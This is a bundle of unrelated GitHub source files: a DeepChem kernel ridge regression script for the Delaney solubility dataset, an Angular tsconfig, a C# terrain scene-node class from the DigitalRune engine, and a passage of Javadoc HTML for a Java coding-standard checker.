# -*- coding: utf-8 -*-
"""
Created on Sun Jul 23 15:04:19 2017
@author: zqwu
"""
from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals
from sklearn.kernel_ridge import KernelRidge
import numpy as np
import deepchem as dc
import tempfile
# Only for debug!
np.random.seed(123)
# Load Delaney dataset
n_features = 1024
delaney_tasks, delaney_datasets, transformers = dc.molnet.load_delaney()
train_dataset, valid_dataset, test_dataset = delaney_datasets
metric = dc.metrics.Metric(dc.metrics.pearson_r2_score, np.mean)
def model_builder(model_dir):
sklearn_model = KernelRidge(kernel="rbf", alpha=1e-3, gamma=0.05)
return dc.models.SklearnModel(sklearn_model, model_dir)
model_dir = tempfile.mkdtemp()
model = dc.models.SingletaskToMultitask(delaney_tasks, model_builder, model_dir)
model.fit(train_dataset)
model.save()
print("Evaluating model")
train_scores = model.evaluate(train_dataset, [metric], transformers)
valid_scores = model.evaluate(valid_dataset, [metric], transformers)
print("Train scores")
print(train_scores)
print("Validation scores")
print(valid_scores)
| {
"pile_set_name": "Github"
} |
{
"compileOnSave": false,
"compilerOptions": {
"baseUrl": "./",
"outDir": "./dist/out-tsc",
"sourceMap": true,
"declaration": false,
"module": "es2015",
"moduleResolution": "node",
"emitDecoratorMetadata": true,
"experimentalDecorators": true,
"target": "es5",
"typeRoots": [
"node_modules/@types"
],
"lib": [
"es2018",
"dom"
],
"paths": {
"angular2-image-upload": [
"dist"
]
}
}
}
| {
"pile_set_name": "Github"
} |
// DigitalRune Engine - Copyright (C) DigitalRune GmbH
// This file is subject to the terms and conditions defined in
// file 'LICENSE.TXT', which is part of this source code package.
using System;
using DigitalRune.Geometry.Shapes;
using DigitalRune.Graphics.Rendering;
using Microsoft.Xna.Framework.Graphics;
namespace DigitalRune.Graphics.SceneGraph
{
/// <summary>
/// Represents an instance of a height-field-based terrain.
/// (Not available on these platforms: Xbox 360, mobile platforms)
/// </summary>
/// <remarks>
/// <para>
/// This type is not available on the following platforms: Xbox 360, mobile platforms
/// </para>
/// <para>
/// The <see cref="TerrainNode"/> represents a terrain in the <see cref="Scene"/>. The terrain
/// itself is defined by <see cref="Terrain"/>.
/// </para>
/// <para>
/// <see cref="Terrain"/>s can be shared, i.e. multiple <see cref="TerrainNode"/>s can reference
/// the same <see cref="Terrain"/> instance.
/// </para>
/// <para>
/// <strong>Material:</strong><br/>
/// The terrain node is rendered using a <see cref="Material"/> (similar to a normal
/// <see cref="Mesh"/>). If no custom material is set, a default material is used. The default
/// material supports the render passes "GBuffer" and "Material" used in the deferred lighting
/// samples.
/// </para>
/// <para>
/// <strong>Clipmaps:</strong><br/>
/// The default material renders the terrain using height and material information stored in
/// clipmaps. <see cref="BaseClipmap"/> stores information at the terrain vertex level. It usually
/// provides height, normal and hole information which define the terrain mesh.
/// <see cref="DetailClipmap"/> stores more detailed information which is used to shade the
/// terrain. It usually stores detail normals (for normal mapping), diffuse colors, specular
/// colors, heights (for parallax occlusion mapping) and other material information.
/// </para>
/// <para>
/// <strong>Renderers:</strong><br/>
/// Terrain clipmaps are created and updated (when the camera has moved) by the
/// <see cref="TerrainClipmapRenderer"/>. The <see cref="TerrainRenderer"/> renders
/// <see cref="TerrainNode"/>s to the screen.
/// </para>
/// <para>
/// <strong>Level of detail (LOD):</strong><br/>
/// When the terrain is rendered, the terrain mesh and texture resolution depends on the distance
/// from the camera. When the <see cref="TerrainRenderer"/> renders the terrain, it uses the
/// <see cref="RenderContext.LodCameraNode"/> in the <see cref="RenderContext"/>. (If no
/// <see cref="RenderContext.LodCameraNode"/> is set, the normal
/// <see cref="RenderContext.CameraNode"/> of the render context is used.
/// </para>
/// <para>
/// A terrain node should only be rendered for a single camera node because the renderer might
/// cache camera-dependent LOD data. If a scene contains two camera nodes (e.g. for 2 player
/// split screen rendering), the <see cref="RenderContext.LodCameraNode"/> should be one of these
/// two cameras. It could also be a "virtual" camera, which is e.g. between both player cameras.
/// Switching the cameras within one frame would be inefficient.
/// </para>
/// <para>
/// Alternatively, each camera could use a separate <see cref="TerrainNode"/>. When the image of
/// a camera is rendered only one terrain node should be rendered. Several terrain nodes can
/// reference the same <see cref="Terrain"/> instance.
/// </para>
/// <para>
/// <strong>Terrain shadows:</strong><br/>
/// Terrain nodes can be rendered into the shadow maps. <see cref="SceneNode.CastsShadows"/> is
/// <see langword="true"/> by default. When using the standard <see cref="ShadowCasterQuery"/>,
/// terrain nodes are only rendered into the shadow maps of <see cref="DirectionalLight"/>s.
/// </para>
/// <para>
/// <strong>Cloning:</strong><br/>
/// When a <see cref="TerrainNode"/> is cloned the properties <see cref="Terrain"/> and
/// <see cref="Material"/> are copied by reference (shallow copy). The original and the cloned
/// node will reference the same instances.
/// </para>
/// </remarks>
/// <seealso cref="DigitalRune.Graphics.Terrain"/>
public class TerrainNode : SceneNode
{
// Notes:
// - Base clipmap:
// Format HalfVector4
// (abs. height, world space normal x, world space normal z, hole flag (1 = no hole, like opacity))
// - Detail clipmap:
// Format Color
// (world space normal.x, world space normal.z, specular exponent, hole alpha)
// (diffuse rgb, alpha)
// (specular intensity, height, -, alpha)
// The unused slot could store emissive color. Using emissive for terrain is rare (e.g. could
// be used for glowing lava veins or SciFy-Tron-like glowing lines). Specular color is only
// needed for metals. In most cases specular intensity is enough.
//--------------------------------------------------------------
#region Fields
//--------------------------------------------------------------
#endregion
//--------------------------------------------------------------
#region Properties & Events
//--------------------------------------------------------------
/// <summary>
/// Gets or sets the terrain definition.
/// </summary>
/// <value>The terrain definition.</value>
/// <remarks>
/// <para>
/// Multiple <see cref="TerrainNode"/>s can reference the same <see cref="Terrain"/> instance.
/// </para>
/// </remarks>
public Terrain Terrain { get; private set; }
/// <summary>
/// Gets or sets the base clipmap which stores geometry information at the terrain mesh vertex
/// level.
/// </summary>
/// <value>
/// The base clipmap which stores geometry information at the terrain mesh vertex level.
/// </value>
/// <remarks>
/// <see cref="TerrainNode"/> for more information.
/// </remarks>
/// <exception cref="ArgumentNullException">
/// <paramref name="value"/> is <see langword="null"/>.
/// </exception>
public TerrainClipmap BaseClipmap
{
get { return _baseClipmap; }
set
{
if (value == null)
throw new ArgumentNullException("value");
_baseClipmap = value;
}
}
private TerrainClipmap _baseClipmap;
/// <summary>
/// Gets or sets the detail clipmap which stores material information used to shade the terrain.
/// </summary>
/// <value>
/// The detail clipmap which stores material information used to shade the terrain.
/// </value>
/// <remarks>
/// <see cref="TerrainNode"/> for more information.
/// </remarks>
/// <exception cref="ArgumentNullException">
/// <paramref name="value"/> is <see langword="null"/>.
/// </exception>
public TerrainClipmap DetailClipmap
{
get { return _detailClipmap; }
set
{
if (value == null)
throw new ArgumentNullException("value");
_detailClipmap = value;
}
}
private TerrainClipmap _detailClipmap;
/// <summary>
/// Gets or sets the terrain material.
/// </summary>
/// <value>The terrain material.</value>
/// <exception cref="ArgumentNullException">
/// <paramref name="value"/> is <see langword="null"/>.
/// </exception>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public Material Material
{
get { return _material; }
set
{
if (value == null)
throw new ArgumentNullException("value");
_material = value;
MaterialInstance = new MaterialInstance(Material);
}
}
private Material _material;
/// <summary>
/// Gets the material instance.
/// </summary>
/// <value>The material instance.</value>
public MaterialInstance MaterialInstance { get; private set; }
/// <summary>
/// Gets or sets the threshold used to check for holes.
/// </summary>
/// <value>The threshold used to check for holes. The default value is 0.3.</value>
/// <remarks>
/// <para>
/// Holes are usually marked using 0 values in the <see cref="BaseClipmap"/>. Solid terrain
/// parts have a value of 1. However, in the distance the terrain geometry is downsampled, which
/// also means that the hole values are averaged. <see cref="HoleThreshold"/> is used to decide
/// when a value still counts as a hole. A hole threshold of 0 disables holes.
/// </para>
/// </remarks>
public float HoleThreshold { get; set; }
/// <summary>
/// Gets or sets the detail fade range which defines the transition between two clipmap levels
/// of the <see cref="DetailClipmap"/>.
/// </summary>
/// <value>The detail fade range in the range [0, 1]. The default value is 0.3.</value>
/// <remarks>
/// To hide transitions between clipmap levels of the <see cref="DetailClipmap"/>, the lower
/// clipmap level fades to the higher clipmap level. <see cref="DetailFadeRange"/> defines the
/// range over which this transition occurs. If this value is 0, then there is no transition.
/// The smoothest transition is created by setting the value to 1, but this wastes a lot of
/// texture resolution. Small values like 0.3 are usually better.
/// </remarks>
public float DetailFadeRange { get; set; }
#endregion
//--------------------------------------------------------------
#region Creation & Cleanup
//--------------------------------------------------------------
/// <summary>
/// Initializes a new instance of the <see cref="TerrainNode"/> class.
/// </summary>
/// <param name="terrain">The terrain.</param>
/// <param name="material">The material.</param>
/// <exception cref="ArgumentNullException">
/// <paramref name="terrain"/> or <paramref name="material"/> is <see langword="null"/>.
/// </exception>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")]
public TerrainNode(Terrain terrain, Material material)
{
if (terrain == null)
throw new ArgumentNullException("terrain");
if (material == null)
throw new ArgumentNullException("material");
Terrain = terrain;
Material = material;
IsRenderable = true;
CastsShadows = true;
Shape = terrain.Shape;
_baseClipmap = new TerrainClipmap(1, SurfaceFormat.HalfVector4)
{
LevelBias = 0.1f,
};
_detailClipmap = new TerrainClipmap(3, SurfaceFormat.Color)
{
CellsPerLevel = 1024,
NumberOfLevels = 6,
};
DetailClipmap.CellSizes[0] = 0.005f;
DetailClipmap.Invalidate();
HoleThreshold = 0.3f;
DetailFadeRange = 0.3f;
}
/// <inheritdoc/>
protected override void Dispose(bool disposing, bool disposeData)
{
if (!IsDisposed)
{
if (disposing)
{
BaseClipmap.Dispose();
DetailClipmap.Dispose();
Shape = Shape.Empty;
if (disposeData)
Terrain.Dispose();
}
base.Dispose(disposing, disposeData);
}
}
#endregion
//--------------------------------------------------------------
#region Methods
//--------------------------------------------------------------
#region ----- Cloning -----
/// <inheritdoc cref="SceneNode.Clone"/>
public new TerrainNode Clone()
{
return (TerrainNode)base.Clone();
}
/// <inheritdoc/>
protected override SceneNode CreateInstanceCore()
{
return new TerrainNode(Terrain, Material);
}
/// <inheritdoc/>
protected override void CloneCore(SceneNode source)
{
// Clone the SceneNode properties (base class).
base.CloneCore(source);
// Clone the TerrainNode properties.
var sourceTyped = (TerrainNode)source;
HoleThreshold = sourceTyped.HoleThreshold;
}
#endregion
#endregion
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.4.2_07) on Wed Jul 06 21:29:01 PDT 2005 -->
<TITLE>
JavaCodingStandardCheckerTokenManager (JCSC API)
</TITLE>
<META NAME="keywords" CONTENT="rj.tools.jcsc.JavaCodingStandardCheckerTokenManager class">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
parent.document.title="JavaCodingStandardCheckerTokenManager (JCSC API)";
}
</SCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=3 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/JavaCodingStandardCheckerTokenManager.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html" title="interface in rj.tools.jcsc"><B>PREV CLASS</B></A>
<A HREF="../../../rj/tools/jcsc/MethodMetric.html" title="class in rj.tools.jcsc"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html" target="_top"><B>FRAMES</B></A>
<A HREF="JavaCodingStandardCheckerTokenManager.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
rj.tools.jcsc</FONT>
<BR>
Class JavaCodingStandardCheckerTokenManager</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by"><B>rj.tools.jcsc.JavaCodingStandardCheckerTokenManager</B>
</PRE>
<DL>
<DT><B>All Implemented Interfaces:</B> <DD><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html" title="interface in rj.tools.jcsc">JavaCodingStandardCheckerConstants</A></DD>
</DL>
<HR>
<DL>
<DT>public class <B>JavaCodingStandardCheckerTokenManager</B><DT>extends java.lang.Object<DT>implements <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html" title="interface in rj.tools.jcsc">JavaCodingStandardCheckerConstants</A></DL>
<P>
<HR>
<P>
<!-- ======== NESTED CLASS SUMMARY ======== -->
<!-- =========== FIELD SUMMARY =========== -->
<A NAME="field_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
<B>Field Summary</B></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>protected char</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#curChar">curChar</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.io.PrintStream</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#debugStream">debugStream</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>protected <A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A></CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#input_stream">input_stream</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int[]</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#jjnewLexState">jjnewLexState</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String[]</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#jjstrLiteralImages">jjstrLiteralImages</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static java.lang.String[]</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#lexStateNames">lexStateNames</A></B></CODE>
<BR>
</TD>
</TR>
</TABLE>
<A NAME="fields_inherited_from_class_rj.tools.jcsc.JavaCodingStandardCheckerConstants"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TD><B>Fields inherited from interface rj.tools.jcsc.<A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html" title="interface in rj.tools.jcsc">JavaCodingStandardCheckerConstants</A></B></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#_DEFAULT">_DEFAULT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ABSTRACT">ABSTRACT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ANDASSIGN">ANDASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ASSERT">ASSERT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ASSIGN">ASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#AT">AT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#BANG">BANG</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#BIT_AND">BIT_AND</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#BIT_OR">BIT_OR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#BOOLEAN">BOOLEAN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#BREAK">BREAK</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#BYTE">BYTE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#CASE">CASE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#CATCH">CATCH</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#CHAR">CHAR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#CHARACTER_LITERAL">CHARACTER_LITERAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#CLASS">CLASS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#COLON">COLON</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#COMMA">COMMA</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#CONST">CONST</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#CONTINUE">CONTINUE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#DECIMAL_LITERAL">DECIMAL_LITERAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#DECR">DECR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#DEFAULT">DEFAULT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#DIGIT">DIGIT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#DO">DO</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#DOT">DOT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#DOUBLE">DOUBLE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ELLIPSIS">ELLIPSIS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ELSE">ELSE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ENUM">ENUM</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#EOF">EOF</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#EQ">EQ</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#EXPONENT">EXPONENT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#EXTENDS">EXTENDS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#FALSE">FALSE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#FINAL">FINAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#FINALLY">FINALLY</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#FLOAT">FLOAT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#FLOATING_POINT_LITERAL">FLOATING_POINT_LITERAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#FOR">FOR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#FORMAL_COMMENT">FORMAL_COMMENT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#GE">GE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#GOTO">GOTO</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#GT">GT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#HEX_LITERAL">HEX_LITERAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#HOOK">HOOK</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#IDENTIFIER">IDENTIFIER</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#IF">IF</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#IMPLEMENTS">IMPLEMENTS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#IMPORT">IMPORT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#IN_FORMAL_COMMENT">IN_FORMAL_COMMENT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#IN_MULTI_LINE_COMMENT">IN_MULTI_LINE_COMMENT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#IN_SINGLE_LINE_COMMENT">IN_SINGLE_LINE_COMMENT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#INCR">INCR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#INSTANCEOF">INSTANCEOF</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#INT">INT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#INTEGER_LITERAL">INTEGER_LITERAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#INTERFACE">INTERFACE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LBRACE">LBRACE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LBRACKET">LBRACKET</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LE">LE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LETTER">LETTER</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LONG">LONG</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LPAREN">LPAREN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LSHIFT">LSHIFT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LSHIFTASSIGN">LSHIFTASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#LT">LT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#MINUS">MINUS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#MINUSASSIGN">MINUSASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#MULTI_LINE_COMMENT">MULTI_LINE_COMMENT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#NATIVE">NATIVE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#NE">NE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#NEW">NEW</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#NULL">NULL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#OCTAL_LITERAL">OCTAL_LITERAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#ORASSIGN">ORASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#PACKAGE">PACKAGE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#PLUS">PLUS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#PLUSASSIGN">PLUSASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#PRIVATE">PRIVATE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#PROTECTED">PROTECTED</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#PUBLIC">PUBLIC</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RBRACE">RBRACE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RBRACKET">RBRACKET</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#REM">REM</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#REMASSIGN">REMASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RETURN">RETURN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RPAREN">RPAREN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RSIGNEDSHIFT">RSIGNEDSHIFT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RSIGNEDSHIFTASSIGN">RSIGNEDSHIFTASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RUNSIGNEDSHIFT">RUNSIGNEDSHIFT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#RUNSIGNEDSHIFTASSIGN">RUNSIGNEDSHIFTASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SC_AND">SC_AND</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SC_OR">SC_OR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SEMICOLON">SEMICOLON</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SHORT">SHORT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SINGLE_LINE_COMMENT">SINGLE_LINE_COMMENT</A>, <A 